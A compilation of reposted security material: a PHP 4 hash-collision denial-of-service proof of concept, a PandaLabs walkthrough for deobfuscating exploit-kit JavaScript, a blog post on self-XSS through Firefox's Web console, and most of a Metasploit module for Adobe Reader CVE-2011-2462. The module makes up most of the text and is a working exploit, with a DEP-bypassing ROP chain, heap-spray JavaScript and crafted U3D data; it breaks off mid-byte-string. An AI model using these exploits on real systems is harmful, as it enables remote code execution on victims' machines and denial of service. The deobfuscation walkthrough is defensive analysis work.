PHP 4 Hash Collision Proof Of Concept <?PHP // // (c) Antoine Santo 2012 // $tab=array("AAAA","FfAA","ABbA","FebA"); for($v8=0;$v8<count($tab);$v8++){ for($v7=0;$v7<count($tab);$v7++){ for($v6=0;$v6<count($tab);$v6++){ for($v5=0;$v5<count($tab);$v5++){ for($v4=0;$v4<count($tab);$v4++){ for($v3=0;$v3<count($tab);$v3++){ for($v2=0;$v2<count($tab);$v2++){ for($v1=0;$v1<count($tab);$v1++){ $val = exec("./calchash-php4 ".$tab[$v8].$tab[$v7].$tab[$v6].$tab[$v5].$tab[$v4].$tab[$v3].$tab[$v2].$tab[$v1]); echo $tab[$v8].$tab[$v7].$tab[$v6].$tab[$v5].$tab[$v4].$tab[$v3].$tab[$v2].$tab[$v1]."=&" ; } } } } } } } } ?> /* Antoine Santo 2012 */ #include <stdio.h> #include <string.h> // this will calculate a hash for a given string using PHP 4.0 hashtable implementation typedef unsigned long ulong; typedef unsigned int uint; ulong zend_inline_hash_func(char *arKey, uint nKeyLength) { ulong $h = 5381; char *arEnd = arKey + nKeyLength; while (arKey < arEnd) { $h += ($h << 5); $h ^= (ulong) *arKey++; } return $h; } int main (int argc, char** argv) { if (argc < 2) { printf("Use: %s <string>\n", argv[0]); } else { printf("%lu\n", zend_inline_hash_func(argv[1], strlen(argv[1]))); } return 0; } http://packetstormsecurity.org/files/108352

This post explains how to analyze the malicious code used in current Exploit Kits. There are many ways to analyze this type of code, and you can find tools that do most of the job automatically. However, as researchers who like to understand how things work, we are going to analyze it with no other tools than a text editor and a Web browser. My goal is to lay the basis for you to learn how to remove the different obfuscation layers that a malicious JavaScript code may employ. I will teach you how to remove those layers step by until you get to the last layer where the logic that exploits the relevant vulnerability is found. IMPORTANT: I recommend that you perform this type of analysis on a virtual machine on its own isolated network in a laboratory dedicated exclusively to this type of research to avoid unwanted infection. BASIC CONCEPTS Generally speaking, malicious code is used to exploit vulnerabilities in Web browsers and PDF readers like Adobe Reader or Foxit. This code is usually written in javascript and has various layers of obfuscation. Code obfuscation techniques are generally used to make code difficult to understand for researchers, avoid detection by signatures or bypass automated scanning tools. The way they work is really simple: each of these layers calls other functions that obfuscate code that will become part of the next layer and so on and so forth until the final code. The final code is normally divided into two parts. The first one aims at detecting the Web browser version and the plug-ins installed on the victim’s computer (like Adobe Reader, Apple Quicktime or the Java virtual machine). The second part selects the vulnerability to exploit according to the information gathered in the first part. CODE ANALYSIS The image below is a screenshot of the malicious code to be analyzed in this article. As you can see, the code is made up of several HTML objects. However, if you look closer you can actually identify different things in these objects: First: The value of the id attribute for each of these objects has the format “<number>+CytobimusubekUda”, where “<number>” is a number from 0 to 1230 in consecutive order. Second: The value of each object is an apparently meaningless string of characters of approximately the same length, and the word Add repeated several times inside it. All this seems to indicate that the id attribute is used as an index (look at the consecutive numbers) in a cycle to parse all HTML objects and deobfuscate their contents to create a new code layer. Let’s start analyzing the code. FORMATTING THE CODE The first thing I usually do when examining a javascript code is use the Format Code option in Malzilla. This option formats the code as if it had been written with a program such as Visual Studio. Although simple, this is a very important step as many times the code is not properly formatted and is hard to understand. You could also do this manually, line by line, but you risk making a mistake and it will take you too long. For example, the malicious code that we will analyze here contains almost 600 lines of script code and HTML code. Malzilla is an excellent utility to analyze malicious code automatically. However, in this article we intend to analyze this malware strain manually. Unformatted code (before using the "Format Code” option) Well-formatted code (after using Malzilla’s “Format Code” option) THE TOOL The next step is to copy the well-formatted Javascript code to the text editor to be used in the analysis. Any text editor with the following basic options should be enough: JavaScript code identification: It will help you view the code and quickly detect Javascript functions. String search-and-replace: This will help you avoid mistakes when replacing the names of functions and variables. Windows Tabs: This is optional. Tabs will let you work very quickly when analyzing the code of various files. FINDING THE ‘START’ FUNCTION The sample currently has 96 lines of javascript code and more than 500 lines of HTML code. You will reduce the number of lines as you remove the obfuscation layers. The first thing you have to do is determine the javascript code that runs when the browser loads the malicious Web page. Then you have to analyze all the other functions as they are run. The first steps to take with every function are the following: Simplify the code to analyze Rename the functions and variables for the code to be easier to understand. To do that, first check the HTML code, and if there is no HTML object that calls a javascript function, proceed to analyze the code found between the <script> and </script> tags. There you must find the code that does not belong to a function definition, as that will be the code that runs automatically when the Web page is loaded by the browser. The screenshot below shows that code between lines 81 and 89 (both included). You can also see that the HazakeduhaQurenepenus() function (85) is the first one to run (the previous three don’t perform any important actions). Therefore, this is the first function that you must analyze. Code run on loading the page (red rectangle) SIMPLIFYING THE CODE AND MAKING IT EASIER TO UNDERSTAND Simplifying the code and making it easy to understand is one of the most difficult yet important tasks. It involves studying almost every instruction in the javascript code, and modifying them to create a code that is easier to understand and analyze. VERY IMPORTANT: When modifying the code, don’t change the final result that would be returned by the original code. As previously said, start with the HazakeduhaQurenepenus() function. This function looks like this: “HazakedubaQurenepenus()” function before the analysis In the code, pay special attention to the functions that are not part of the javascript API, that is, the functions programmed by the user. You have to resolve the value that these will return in order to analyze the function. In the code above, the factor to resolve is the PypiwIgo() function that has the following code: If you take a look at it and you are familiar with the javascript language, you will realize that the function will return the getElementById string every time it is called. With this in mind and knowing that the DeqesedaDakonyqev variable refers to the document object, you can make the first change for the code to be easier to understand. The resulting code will look like this: “HazakedubaQurenepenus()” function after the analysis You may have noticed that I have changed the name of several variables and of the analyzed function itself to func_decrypt_01. This may seem a little bit bold, but after having analyzed many functions like this you become capable of recognizing certain code structures at a glance. Your next objective is to resolve the value to be returned by the function in the buffer variable. To do that, you must separate the function from the original code and run it independently. Prior to that, you must make sure that the function to analyze will not need any external values or any other piece of data calculated by any other function of the assigned code in any global variable. Otherwise, you will have to first calculate that value and then replace it in the code to isolate. This is very important as otherwise you will probably not be able to run the code separately: the Web browser will show an error when loading the page and it will not be possible to run the code or it simply won’t behave in the same way as if it had been run with the entire malicious code. Let’s see this with an example in the code we are analyzing. The following instruction refers to an external value in the DasuRokyduconiwidy HTML object. string_01 = document.getElementById(“DasuRokyduconiwidy”).innerHTML; The resulting value is assigned to the string_01 variable. Since this variable is used inside the code, you must resolve its value. Otherwise, if the variable was only used to confuse the user, you could eliminate it from the code. The technique of using data in HTML objects and referring to it from the javascript code is frequently used to obfuscate code by splitting it into parts. This serves to bypass the automatic analyses performed by certain tools unable to interpret the connection between the javascript and the HTML code. This anti-analysis technique is also used by malicious PDF files. The technique involves making calls to the Adobe PDF API’s javascript functions, which cannot be interpreted by many analysis tools. The first thing you need to do is find the DasuRokyduconiwidy object. Once you find it, assign its value to the string_01 variable in the script code that you have created, and replace the return buffer instruction with a TEXTAREA object that will show the content of the buffer variable once the new code is run in the Web browser. Value of the DasuRokyduconiwidy object and line of code to replace The screenshot below shows the simplified code and how the “return buffer” instruction has been replaced with a textarea object created at runtime. New code created to view the result of the buffer variable Once you have the code, open it with the Web browser to see the function result. Value of the buffer variable As you can see, the returned result is a string comprising a sequence of names of javascript API functions. Once you have resolved the value obtained when calling the func_decrypt_01 function, rename the GuzoZaq variable. This is the variable that the return value is assigned to. For example, call it concat_func_string, and then assign to it the value obtained in the textarea object. The code will look like this. concat_func_string variable with the value already resolved Continue analyzing the code run when loading the Web page. The next function to analyze is NupUr(). This function calls function HaynubOguf(), which you must resolve before continuing to analyze the code. HaynubOguf( ) is a very simple function that returns the substr string, which is the name of a javascript function whose job is to obtain a substring from a string. Therefore, rename the HanynubOguf() function to func_substr(). The NupUr() function will look like this. NupUr() function to analyze Now that you have “resolved” the different parts of the function code, make the code more readable. This involves resolving the names of all the functions in brackets from inside out. As you can see, the code uses the concat_func_string variable. If you remember, this variable refers to a string made up of the names of multiple javascript API functions. Also, note that the code uses the substr variable as well. This indicates that part of the string will be extracted to obtain the name of the function to be later on used in the code. Original function Resolved function [func_substr()](63,14) .substr(63,14) [concat_func_string.substr(63,14)] getElementById [func_substr()](1736/56,585/65) [func_substr()][31,9] ? .substr(31,9) [concat_func_string.substr(31,9)] .InnerHTML The result is the following code: As you resolve more and more functions you will be able to discover the actions to be taken by the rest of them simply by taking a glance at their code. This is because you’ll have already resolved many unknown values. This will help you analyze other functions more quickly and eliminate obfuscation layers more easily. Finally, let’s analyze the MivoJaqugutec() function: At first glance, the first thing that you can identify in the code is a cycle that runs through all of the HTML objects, storing their values and concatenating them in the PofUhicehofudilysuwe variable returned by the function once the cycle ends. Well, with everything you have learnt so far you probably know what to do. Separate the function from the original code, resolve the unknown values and rename its variables for the code to be easier to understand. Your objective should be to determine the value of the PofUhicehofudilysuwe variable in the return instruction. Once you run the code on the Web browser you’ll get the following result: Similarly, transform the other functions in the code that’s left to analyze. The final result is quite interesting: you’ve gone from 96 lines of javascript code and some 500 lines of HTML code to just 2 lines of javascript code with the eval() and unescape() functions. These 2 functions normally indicate the execution of a new obfuscation layer. Have you reached your final objective yet? Is this the final layer responsible for triggering the vulnerability? Well, let’s see what it contains. ACCESSING THE FINAL CODE The last 2 lines of code include the payload variable, which refers to an encoded, 55,496-character-long unicode string. After running its content with the eval( unescape(payload) ) instruction you’ll get to the last layer in the malicious code. In this last part of the article we will only analyze the generic parts often found in malicious codes. The following two screenshots show a series of instructions that are often used both in legitimate and malicious code, although with very different purposes. Whereas they are used in legitimate code for design purposes, in malicious code they are used to obtain information about the victim’s environment and exploit the most appropriate vulnerability. As you can see in the two screenshots above, the programmer has used the userAgent method of the navigator object to identify the Web browser used by the victim. In the case of Internet Explorer they check to see if the version is lower than 6. They also try to identify if there are any plug-ins installed on the browser. In this code the programmer has decided to create an object identified by the CLSID CA8A9780-280D-11CF-A24D-444553540000 in the Pdf1 variable. Although the name of the variable gives a hint as to what object the programmer wants to create, let’s make sure. Use the regedit.exe tool to find the CLSID key in the Windows registry. Our suppositions were true: The CLSID key refers to the Adobe Acrobat/Reader ActiveX control. The programmer has created this object to find out if the victim has Adobe Acrobat or Adobe Reader installed (and what version they are using), and select the malicious PDF file that can exploit one of the vulnerabilities in the detected version. They use the GetVersions() method to find out the version of the Adobe program installed on the victim’s computer, as seen in the first instruction in the code below: The last part of the code is used to select the most appropriate PDF file to exploit the vulnerability. If the value of the lv variable is greater than or equal to 800 (which possibly identifies version 8), the code will call the fghjdfgxbz function passing the string “d0456d.pdf” as a parameter. Otherwise, it will pass the “07dd5d.pdf” string as a parameter. The fghjdfgxbz function simply creates an IFRAME object at runtime that points to the value passed as the parameter. As a result, the Web browser will open a malicious PDF file designed to exploit an unpatched security vulnerability. To sum up, in this article we have explained how to analyze and deobfuscate the layers of one of the malicious codes currently used in exploit kits, with just a text editor, a Web browser and some knowledge of JavaScript and HTML. We have also analyzed part of the final code to show you some of the methods used to detect the Web browser and the plug-ins installed on victims’ computers. Happy hunting!! http://pandalabs.pandasecurity.com/deobfuscating-malicious-code-layer-by-layer/

I still remember the good old days when I would just write “javascript:alert(document.cookie)” in my address bar and the browser would happily show me the JavaScript-accessible cookie values for the current domain. These were simpler days… Mid-2011 the developers of Firefox decided that allowing the “javascript” directive in the URL bar was being abused by attackers to conduct self-XSS attacks more than it was being used for legitimate purposes. If you are not familiar with self-XSS fear not… they are quite easy to explain. In short, self-XSS happens when an attacker convinces a user to copy-paste some malicious JavaScript code in his URL bar and hit ‘Enter’. This was used a lot in Facebook, since people there are usually very willing to follow instructions in order to get access to some sort of “video”, or “application” or information about how many people checked-out their profile today. Matt Jones has made a nice video demonstrating the attack which you can check out right here. The effect of this, is exactly the same as an attacker injecting malicious JavaScript by exploiting the usual and well-known XSS bugs (reflected, stored, DOM-based). Back to Firefox… so Firefox decided to disallow the use of JavaScript in the URL bar. So no more self-XSS right? Wrong! In the newer versions of Firefox, there is a pretty ‘Web console’ which a user can access and type in arbitrary JavaScript that will again run in the context of the current domain. While people have accepted this, they believe that it is a greater hassle to users who will not do it as easily as they used to do the self-XSS through the browser URL bar. The purpose of this post, is to claim that this is not true. The ‘Web console’ of Firefox has a handy default keyboard shortcut from which it is accessible: Ctrl+Shift+K. Now compare the list of instructions that an attacker would use to conduct self-XSS in the past, and the list of instructions now. Old: Select the following text: javascript:alert('Welcome to a world of pain'); Hit the following: Ctrl+C Ctrl+L Ctrl+V Enter New (you can actually follow along): Select the following text: alert('Welcome to a world of pain'); Hit the following: Ctrl+C Ctrl+L Ctrl+Shift+K Ctrl+V Enter The only extra action needed to perform the attack is the Ctrl+Shift+K between the selection of the location bar (Ctrl+L) and the pasting of code (Ctrl+V). If anything I would claim that this is a smoother attack because the word “javascript” doesn’t need to be written as part of the malicious vector since the Web Console expects JavaScript and thus doesn’t need to be told: “Interpret the rest as JavaScript”. In short I don’t believe that this is a step in the right direction. Call me pessimistic but executing an extra step as part of getting access to “Virtual Carrots” or “Hot girls” doesn’t look like it would stop the kind of people that would fall for this attack in the first place. Nick Nikiforakis http://blog.securitee.org/?p=114

This Metasploit module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader. The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory used by the invalid pointer issue is controlled. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability', 'Description' => %q{ This module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader. The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory used by the invalid pointer issue is controlled. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', 'juan vazquez', 'jduck' ], 'References' => [ [ 'CVE', '2011-2462' ], [ 'OSVDB', '77529' ], [ 'BID', '50922' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ], [ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ], [ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ], [ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ # Adobe Reader 9.4.0 / XP SP3 # Adobe Reader 9.4.5 / XP SP3 # Adobe Reader 9.4.6 / XP SP3 'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3', { # gadget from icucnv36: # mov ecx,dword ptr [eax+3Ch] # mov eax,dword ptr [ecx] # call dword ptr [eax+1Ch] 'Ret' => 0x4a8453c3 } ], ], 'DisclosureDate' => 'Dec 06 2011', #Needs to be checked 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def junk(n=1) tmp = [] value = rand_text(4).unpack("L")[0].to_i n.times { tmp << value } return tmp end def exploit # DEP bypass; uses icucnv36.dll stack_data = [ junk, 0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot 0x0c0c0c0c, # becomes esi 0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h 0x4a8a0000, # becomes edi 0x4a802196, # becomes esi 0x4a801f90, # becomes ebp 0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h 0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding junk(4), 0x00000000, # becomes edi 0x00000002, # becomes esi 0x00000102, # becomes ebp 0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h junk(5), 0x4a80a8a6, # becomes edi 0x4a801f90, # becomes esi 0x4a849038, # becomes ebp 0x4a8063a5, # pop ecx / ret junk(5), 0x4a8a0000, # becomes ecx 0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address) 0x4a801f90, # pop eax / ret 0x4a84903c, # becomes eax (import for CreateFileA) 0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA} 0x4a801064, # ret for CreateFileA # ret 0x00000000, # __in LPCTSTR lpFileName 0x10000000, # __in DWORD dwDesiredAccess 0x00000000, # __in DWORD dwShareMode 0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes 0x00000002, # __in DWORD dwCreationDisposition 0x00000102, # __in DWORD dwFlagsAndAttributes 0x00000000, # __in_opt HANDLE hTemplateFile 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax, edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a801f90, # pop eax / ret 0x4a849038, # becomes eax (import for CreateFileA) 0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA} 0x4a801064, # ret for CreateFileMappingA # ret 0xffffffff, # __in HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA 0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpAttributes, 0x00000040, # __in DWORD flProtect, 0x00000000, # __in DWORD dwMaximumSizeHigh, 0x00010000, # __in DWORD dwMaximumSizeLow, 0x00000000, # __in_opt LPCTSTR lpName 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax, edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a801f90, # pop eax / ret 0x4a849030, # becomes eax (import for kernel32!MapViewOfFile) 0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile} 0x4a801064, # ret for MapViewOfFile # ret 0xffffffff, # __in HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA} 0x00000022, # __in DWORD dwDesiredAccess 0x00000000, # __in DWORD dwFileOffsetHigh 0x00000000, # __in DWORD dwFileOffsetLow 0x00010000, # __in SIZE_T dwNumberOfBytesToMap 0x4a8063a5, # pop ecx / ret 0x4a8a0004, # becomes ecx 0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax, edi / ret 0x4a802ab1, # pop ebx / ret 0x00000030, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a801f90, # pop eax / ret 0x4a8a0004, # becomes eax {Result of MapViewOfFile} 0x4a80a7d8, # mov eax,dword ptr [eax] / ret 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax, edi / ret 0x4a802ab1, # pop ebx / ret 0x00000020, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret 0x4a801f90, # pop eax / ret 0x00000034, # becomes eax # mapped at 0c0c0d8c 0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain) 0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret 0x4a802ab1, # pop ebx / ret 0x0000000a, # becomes ebx 0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret 0x4a801f90, # pop eax / ret 0x4a849170, # becomes eax (import for MSVCR80!memcpy) 0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy} 0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile 0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile 0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain 0x00001000 # length (memcpy param) ].flatten.pack('V*') payload_buf = '' payload_buf << stack_data payload_buf << payload.encoded escaped_payload = Rex::Text.to_unescape(payload_buf) eip_ptr = [ junk(3), target.ret, # EIP junk(7), 0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot junk(16), ].flatten.pack('V*') escaped_eip = Rex::Text.to_unescape(eip_ptr) js = <<-JS var padding; var bbb, ccc, ddd, eee, fff, ggg, hhh; var pointers_a, i; var x = new Array(); var y = new Array(); function alloc(bytes) { return padding.substr(0, (bytes - 6) / 2); } function spray_eip(esc_a) { pointers_a = unescape(esc_a); for (i = 0; i < 2000; i++) { x[i] = alloc(0x8) + pointers_a; y[i] = alloc(0x88) + pointers_a; y[i] = alloc(0x88) + pointers_a; y[i] = alloc(0x88) + pointers_a; } }; function spray_shellcode() { bbb = unescape('#{escaped_payload}'); ccc = unescape("%u0c0c"); ccc += ccc; while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc; i1 = 0x0c0c - 0x24; ddd = ccc.substring(0, i1 / 2); ddd += bbb; ddd += ccc; i2 = 0x4000 + 0xc000; eee = ddd.substring(0, i2 / 2); for (; eee.length < 0x40000 + 0x40000;) eee += eee; i3 = (0x1020 - 0x08) / 2; fff = eee.substring(0, 0x80000 - i3); ggg = new Array(); for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s"; } padding = unescape("#{escaped_eip}"); while (padding.length < 0x10000) padding = padding + padding; spray_shellcode(); spray_eip('%u4141'); this.pageNum = 2; JS js = js.gsub(/^\t\t/,'') if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end u3d = make_u3d_stream xml = make_xml_data pdf = make_pdf(u3d, xml, js.to_s) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_xml_data xml = %Q|<?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <ed>kapa</ed> <config xmclns="http://www.microsoft.org/schema/xci/2.6/"> <present> <pdf> <version>1</version> <fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio> <interactive>1</interactive> </pdf> </present> </config> <template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet> </pageSet> </subform> </template> <template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet> </pageSet> </subform> </template1> <template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet> </pageSet> </subform> </template2> </xdp:xdp>| xml = xml.gsub(/^\t\t/, '') return xml end def u3d_pad(str, char="\x00") len = str.length % 4 if (len > 0) #puts "Adding %d pad bytes" % (4 - len) return (char * (4 - len)) end "" end def u3d_string(str) ([str.length].pack('v') + str) end def make_u3d_stream() # # REFERENCE: # http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf # The File format consists of these blocks: # [File Header Block][Declaration Block][Continuation Block] # Each block consists of (padding is used to keep fields 32-bit aligned): # [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding] # mc_name = u3d_string("CCCCBox01") mr_name = u3d_string("Box01RX") # build the U3D header (length will be patched in later) hdr_data = [0,0].pack('n*') # version info hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34 hdr = "U3D\x00" hdr << [hdr_data.length,0].pack('VV') hdr << hdr_data parent_node_data = "\x01\x00\x00\x00"+ # node count (1) "\x00\x00"+ # name (empty) # transform matrix [0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*') model_node_data = "" model_node_data << mc_name model_node_data << parent_node_data model_node_data << mr_name model_node_data << [1].pack('V') # Model Visibility (Front visible) model_node = [0xffffff22,model_node_data.length,0].pack('VVV') #model_node = [0xffffff22,0x5e,0].pack('VVV') model_node << model_node_data bone_weight_data = "" bone_weight_data << mc_name bone_weight_data << [ 1, # Chain index 1, # Bone Weight Attributes (for a mesh) 0x3162123b, # Inverse Quant 0x14, # Position Count ].pack('VVNV') # Position List bone_weight_data << [ # 1 1, # Bone Weight Count 3, # Bone Index (no Quantized Weight) # 2 0x55550000, # Bone Weight Count 0x4c1df36e, # Bone Index 0x0200d002, # Quantized Weight # 3 0x95000074, # Bone Weight Count 0x66ccc357, # Bone Index 0x00000000 # Quantized Weight ].pack('VVNNNNNN') bone_weight = [0xffffff44,0x3a,0].pack('VVV') # We hardcode the length to match the old file.. (TODO: test if necessary) #bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV') bone_weight << bone_weight_data new_objtype1_data = "\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+ "\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+ "\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00" #new_objtype1 = [0xffffff16,0x38,0].pack('VVV') new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV') new_objtype1 << new_objtype1_data shading_modifier_data = "" shading_modifier_data << mc_name shading_modifier_data << "\x02\x00\x00\x00\x00\x00\x00\x00\x01"+ "\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00" #shading_modifier = [0xffffff45,0x23,0].pack('VVV') shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV') shading_modifier << shading_modifier_data new_objtype2_data = "\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+ "\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+ "\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00" #new_objtype2 = [0xffffff16,0x30,0].pack('VVV') new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV') new_objtype2 << new_objtype2_data nodemod_decl = "" nodemod_decl << model_node nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << bone_weight nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << new_objtype1 nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << shading_modifier nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << new_objtype2 nodemod_decl << u3d_pad(nodemod_decl) nodemod_decl << # another modifier chain? "\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+ "\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+ "\x00\x00"+ # clod mesh generator (declaration) "\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+ "\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+ "\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+ "\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+ "\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ 